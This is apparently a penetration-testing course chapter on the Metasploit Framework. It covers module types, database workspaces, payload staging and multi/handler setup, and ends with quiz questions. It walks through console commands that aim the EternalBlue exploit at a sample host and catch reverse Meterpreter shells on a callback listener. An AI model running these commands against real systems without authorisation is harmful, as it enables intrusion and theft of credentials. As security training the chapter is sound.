6.2 Metasploit Framework Architecture & Exploitation

Key Takeaways

  • The Metasploit Framework organizes offensive capabilities across six distinct module tiers: exploit, payload, auxiliary, post, encoder, and nop.

  • Staged payloads use a compact initial stager to pull a larger stage directly into target memory, whereas inline singles deliver all functionality within a single buffer.

  • PostgreSQL database integration initialized with msfdb init enables persistent target tracking, service cataloging with db_nmap, and organized engagement scoping via workspaces.

  • Capturing asynchronous reverse shells generated outside of Metasploit requires configuring exploit/multi/handler with matching payload parameters and background job execution.

Last updated: October 2026

6.2 Metasploit Framework Architecture & Exploitation

The Metasploit Framework (MSF), maintained by Rapid7, is the offensive security industry's most widely adopted modular exploitation platform. Rather than requiring operators to maintain disparate standalone scripts, Metasploit unifies vulnerability verification, payload delivery, listening handlers, post-exploitation gathering, and engagement databases into a coherent operational environment.

For a penetration tester, proficiency in Metasploit extends far beyond launching automated attacks. Understanding the internal architecture of the framework, configuring persistent PostgreSQL databases, managing multi-target workspaces, mastering payload staging mechanics, and deploying standalone multi-handlers are critical skills necessary to navigate complex networked environments efficiently.


Metasploit Framework (MSF) Architecture & Module Hierarchy

The architectural strength of Metasploit lies in its strict separation between exploit triggers, payload execution, and auxiliary scanning capabilities. All components interact through standardized Ruby application programming interfaces (the Rex library, MSF Core, and MSF Base).

+---------------------------------------------------------------------------------------+
|                             METASPLOIT FRAMEWORK CORE                                 |
+---------------------------------------------------------------------------------------+
|                                 Rex (Ruby Extension)                                  |
|                      Sockets, Protocols, SSL, Encoding, Formats                       |
+---------------------------------------------------------------------------------------+
|                                       MSF Core                                        |
|                   Event Management, Session Management, Plugins                       |
+---------------------------------------------------------------------------------------+
|                                       MSF Base                                        |
|                     CLI Interface, API Hooks, Workspace Drivers                       |
+---------------------------------------------------------------------------------------+
|                                   MODULE TAXONOMY                                     |
|   [Exploit]   [Payload]   [Auxiliary]   [Post]   [Encoder]   [NOP]   [Evasion]        |
+---------------------------------------------------------------------------------------+

The Core Module Categories

Every functional script in Metasploit is classified into one of six primary module directories located within /usr/share/metasploit-framework/modules/:

  1. Exploit Modules (exploits/): Code that leverages a specific software flaw or configuration vulnerability to achieve remote or local execution on a target system. Exploits can be active (transmitting data directly against an open listening port) or passive (waiting for an internal client to initiate a connection, such as a rogue SMB server or malicious web link).
  2. Payload Modules (payloads/): The executable instructions deployed to and run upon the target machine once the exploit succeeds. Payloads establish shells, execute commands, or inject advanced post-exploitation agents.
  3. Auxiliary Modules (auxiliary/): Modules that perform arbitrary network actions without executing a dedicated payload buffer. Auxiliary modules include port scanners, service version detectors, credential brute-forcing tools, denial-of-service tests, and administration functions (e.g., querying SNMP strings or verifying SQL credentials).
  4. Post-Exploitation Modules (post/): Modules executed within the context of an established session (Meterpreter or standard command shell) to enumerate system architecture, dump password hashes, inspect installed software, or configure network routes.
  5. Encoder Modules (encoders/): Tools used to transform payload shellcode to eliminate bad characters (such as null bytes or protocol delimiters) or obfuscate binary patterns against basic antivirus heuristics (e.g., x86/shikata_ga_nai).
  6. NOP Generators (nops/): Specialized modules that generate architecture-specific sequences of no-operation instructions to craft landing zones for reliable memory exploitation.
Module DirectoryPrimary FunctionDelivers Payload?Target StatePractical Example
modules/exploits/Exploits a software vulnerabilityYesPre-compromiseexploit/windows/smb/ms17_010_eternalblue
modules/payloads/Executes code upon target compromiseN/A (Is Payload)Execution phasewindows/x64/meterpreter/reverse_tcp
modules/auxiliary/Scans, enumerates, or fuzzes servicesNoPre-compromiseauxiliary/scanner/smb/smb_version
modules/post/Enumerates, harvests, or pivotsNoPost-compromisepost/windows/gather/smart_hashdump
modules/encoders/Removes bad characters / obfuscatesN/A (Wrapper)Assembly phasex86/shikata_ga_nai
modules/nops/Produces memory landing sledsN/A (Padding)Assembly phasex86/opty2

Database Integration & Workspace Management

Operating Metasploit without an underlying database severely limits efficiency. Integrating Metasploit with PostgreSQL enables automatic logging of discovered hosts, identified services, captured credentials, and extracted hashes across an entire assessment engagement.

Initializing and Validating PostgreSQL

On Kali Linux, PostgreSQL runs as a local system service. The msfdb utility handles initial database schema creation and user permissions:

# Initialize and start the PostgreSQL database for Metasploit
sudo msfdb init

# Launch Metasploit console
msfconsole -q

Inside msfconsole, verify that the database connection is active:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Engagement Scoping with Workspaces

Workspaces isolate target hosts, credentials, and scan data between different projects or examination networks. By default, Metasploit operates within the default workspace. Using workspaces prevents cross-contamination of client assets:

msf6 > workspace
* default

msf6 > workspace -a internal_assessment
[*] Added workspace: internal_assessment
[*] Workspace: internal_assessment

msf6 > workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]           Switch to workspace
    workspace -a [name] ...    Add new workspace(s)
    workspace -d [name] ...    Delete workspace(s)

Importing Network Scans with db_nmap

Running standard Nmap from inside Metasploit using the db_nmap command automatically parses port scan results and version banners directly into the active PostgreSQL workspace:

msf6 > db_nmap -sS -sV -O -p 21,22,80,445,3389 192.168.1.0/24

Querying Discovered Assets

Once scan data is populated, use database query commands to filter and inspect targets without re-running network scans:

# Display all discovered live hosts
msf6 > hosts

# Filter hosts by specific service
msf6 > hosts -c address,os_name,os_flavor

# Display all open services across the scope
msf6 > services

# Filter services for SMB (port 445) and display only reachable IPs
msf6 > services -p 445 -u

# View identified vulnerabilities and CVE mappings
msf6 > vulns

# View captured credentials and password hashes
msf6 > creds

# View downloaded configuration files and artifacts
msf6 > loot

Navigation, Search, and Module Configuration

Navigating msfconsole requires structured querying and parameter definition. Operators must be capable of locating modules rapidly, configuring their arguments, and validating target vulnerability state prior to launching attacks.

Advanced Module Searching

The search command supports granular filtering using key-value pairs rather than broad keyword matching:

# Search for Windows SMB exploits
msf6 > search type:exploit platform:windows name:smb

# Search by CVE identifier
msf6 > search cve:2017-0144

# Search for auxiliary scanners targeting FTP
msf6 > search type:auxiliary name:ftp

Search results include an operational Rank (Excellent, Great, Good, Normal, Average, Low, Manual) reflecting module reliability and system crash risk. Excellent-ranked modules almost never crash a target daemon, whereas Low or Average modules carry an elevated risk of causing an unhandled denial-of-service condition.

Module Context and Inspection

Select a module using use followed by the directory path or the numeric index returned by the search command:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

The info command displays author credits, affected software versions, required options, and CVE cross-references. To view configurable parameters, issue show options:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        The Windows domain to use for authentication
   SMBPass                         no        The password for the specified username
   SMBUser                         no        The username to authenticate as

Setting Local vs. Global Parameters

  • set <OPTION> <VALUE>: Sets a parameter strictly within the context of the currently selected module.
  • setg <OPTION> <VALUE>: Sets a global parameter that persists across all modules loaded during the console session. Setting global variables for recurring parameters (such as LHOST or RHOSTS) eliminates repetitive configuration.
# Set local target IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100

# Set global attacker callback interface
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg LHOST tun0

Non-Destructive Vulnerability Validation with check

Many Metasploit exploit modules implement a check method. The check command interrogates the target service (inspecting protocol banners, querying feature availability, or checking patch identifiers) to evaluate if the target is vulnerable without delivering the exploit payload:

msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[*] 192.168.1.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1

Using check prevents accidental service crashes and confirms exploitability during scoped assessments.

Executing Exploits and Managing Jobs

Launching an exploit can be performed using exploit or run. Adding the -j flag executes the module as an asynchronous background job, returning the operator immediately to the interactive console prompt:

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.5:4444

# List running jobs
msf6 > jobs -l

# Terminate a running job
msf6 > jobs -k 0

Payload Mechanics: Singles vs. Staged Payloads & Multi-Handler Setup

Selecting the correct payload architecture is fundamental to exploit success. Metasploit categorizes payloads into two primary delivery architectures: Singles (Inline) and Staged payloads.

+---------------------------------------------------------------------------------------+
|                                 PAYLOAD ARCHITECTURES                                 |
+---------------------------------------------------------------------------------------+
| 1. INLINE (SINGLES) PAYLOAD: windows/x64/shell_reverse_tcp                            |
|    [Exploit Trigger] ===> Delivers [ Complete Monolithic Payload (~400KB) ]           |
|    Target connects directly back with interactive shell. No secondary downloads.       |
+---------------------------------------------------------------------------------------+
| 2. STAGED PAYLOAD: windows/x64/meterpreter/reverse_tcp                                |
|    [Exploit Trigger] ===> Delivers [ Stager (~300 bytes) ]                            |
|                                          |                                            |
|                                          v Connects back to Multi-Handler             |
|    Target RAM <=== Downloads Stage [ Full Meterpreter Core DLL (~1.5MB) ]             |
+---------------------------------------------------------------------------------------+

Syntactic Naming Conventions

Metasploit payload naming conventions explicitly communicate whether a payload is staged or inline:

  • Staged Payloads: Use a forward slash / to separate the platform, payload name, and communication stage. Example: windows/x64/meterpreter/reverse_tcp or linux/x86/shell/reverse_tcp.
  • Inline (Single) Payloads: Use an underscore _ to represent a single monolithic payload with no secondary stages. Example: windows/x64/meterpreter_reverse_tcp or windows/shell_reverse_tcp.

Execution Dynamics Comparison

  • Staged Payloads: Composed of two distinct phases. A tiny, highly optimized assembly routine called a stager (typically 200 to 300 bytes) is injected via the exploit. Once executed on the victim, the stager opens a socket connection back to the attacker's handler, downloads the much larger stage (such as the complete Meterpreter dynamic library, often exceeding 1 megabyte), injects it directly into process memory, and passes execution control. Staged payloads are mandatory when exploiting vulnerabilities with restricted buffer size limitations.
  • Inline (Singles) Payloads: Monolithic payloads where the entire functional shellcode resides within a single contiguous buffer. Because no secondary network communication is required to download a stage, inline payloads are more reliable across restricted egress firewalls, high-latency satellite connections, or unstable networks. However, they require a sufficiently large memory buffer on the target.

Capturing Callbacks with exploit/multi/handler

When deploying standalone reverse shell executables generated with msfvenom or executing modified external Python exploits, Metasploit's exploit/multi/handler acts as the universal listening server.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

Maintaining Persistent Handlers with ExitOnSession

By default, multi/handler shuts down immediately after receiving a single incoming session. If you are attacking multiple systems or expect multiple callbacks, configure ExitOnSession false:

msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 10.10.14.5:4444

The -z flag instructs the handler not to automatically interact with new sessions, leaving them cleanly backgrounded as they arrive.

Command SyntaxOperational CategoryFunctional Purpose & Context
msfdb initSystem InitializationInitializes and starts the local PostgreSQL database service for Metasploit.
db_statusStatus VerificationVerifies whether msfconsole is actively connected to the PostgreSQL database.
workspace -a <name>Workspace ManagementCreates and immediately switches to a new isolated engagement workspace.
db_nmap <nmap_flags> <target>Network ScanningExecutes Nmap and automatically imports discovered hosts and services into the database.
hostsAsset InspectionLists all discovered target IP addresses, hostnames, and operating systems.
services -p <port> -uService FilteringDisplays hosts running a specific open port (e.g., 445 for SMB) that are confirmed up.
search <filter>:<value>Module DiscoveryLocates modules using precise criteria (type:exploit platform:windows name:smb).
use <path/index>Context SelectionLoads a specific module into the active console environment.
setg <OPTION> <VALUE>Global ConfigurationSets an environmental variable globally across all modules in the current session.
checkNon-Destructive AuditInterrogates the target to verify exploitability without delivering a malicious payload.
exploit -jAsynchronous ExecutionFires the exploit module as an asynchronous background job.
jobs -l / jobs -k <id>Job ManagementLists all active background jobs or terminates a running listener by its job ID.
Test Your Knowledge

In the Metasploit Framework, what is the core architectural and naming difference between the payloads 'windows/meterpreter/reverse_tcp' and 'windows/meterpreter_reverse_tcp'?

A

The payload with slashes is written in Python, while the payload with underscores is written in C++

B

The payload with slashes executes locally, while the payload with underscores only functions across wide-area networks

C

The payload with slashes is an auxiliary scanner, while the payload with underscores is an exploit module

D

The payload with slashes is a staged payload that downloads its core DLL in phases, while the payload with underscores is a monolithic inline single

Test Your Knowledge

Which workflow correctly establishes database tracking in Metasploit, conducts an initial port scan that populates the database, and queries discovered SMB services?

A

Running nmap -oX scan.xml outside Metasploit, followed by msfconsole -r scan.xml and viewing with cat services

B

Initializing with msfdb init, executing db_nmap -sV -p 445 <subnet> inside msfconsole, and querying with services -p 445

C

Executing service postgresql stop, starting msfconsole, and running search services smb

D

Creating an external CSV file with discovered ports and importing it using the load db_csv command

Test Your Knowledge

A penetration tester is utilizing exploit/multi/handler to receive incoming reverse shells from a fleet of compromised workstations. How can the operator prevent the handler from shutting down after the first machine connects?

A

Set the RHOSTS parameter to 0.0.0.0/0

B

Run the command set AutoRunScript post/windows/manage/persistence_exe

C

Set the advanced option ExitOnSession to false and execute the handler as a background job with exploit -j

D

Configure the payload to linux/x86/shell_bind_tcp on port 80

Sections you finish are checked off in the contents.